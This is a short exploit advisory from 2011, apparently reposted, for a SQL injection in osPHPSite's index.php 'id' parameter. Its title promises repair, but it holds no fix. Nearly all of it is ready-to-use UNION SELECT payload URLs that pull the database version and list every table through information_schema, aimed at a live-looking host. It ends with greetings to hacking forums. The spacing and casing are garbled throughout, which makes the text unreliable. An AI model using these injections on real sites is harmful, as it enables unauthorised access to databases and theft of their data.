OsPHPSite SQL Injection defects and repair

# Exploit Title: osPHPSite SQL Injection Vulnerability

# Author: vir0e5

# Date: 1-12-2011

# Vendor: http://www.osphpsite.com

# Software Link: http://sourceforge.net/projects/osphpsite

# Version: ALL VERSION

[Vulnerable File]

~ Index. php

[Exploit]

~ Http://www.bkjia.com/index.php? Id = [SQL Injection]

[Example]

~ Http://www.bkjia.com/index.php? Id = 24

~ Http://www.bkjia.com/index.php? Id =-24 union select 1, @ VERSION, 3, 4, 5, 6, 7, 8 --

~ Http://www.bkjia.com/index.php? Id =-24 union select 1, group_concat (table_name), 3, 4, 5, 6, 7, 8 + from + information_schema.tables + where + table_schema = database ()--

~ And More .....

**************************************** ****

[+] Greetings: [mywisdom-kiddies-kamtiez-r3m1ck-keys | ~artklik | syafm0vic-skuteng_boy-blue_screen-agdi_cool-keys-dewancc and YOU !!!! ];

[+] Forum [as member]: http://indonesian-cyber.org | http://tecon-crew.org | http://devilzc0de.org | http://santricyber.org | http://indonesiancoder.com | http://cyber4rt.com And OTHERs

Cause im Alone !!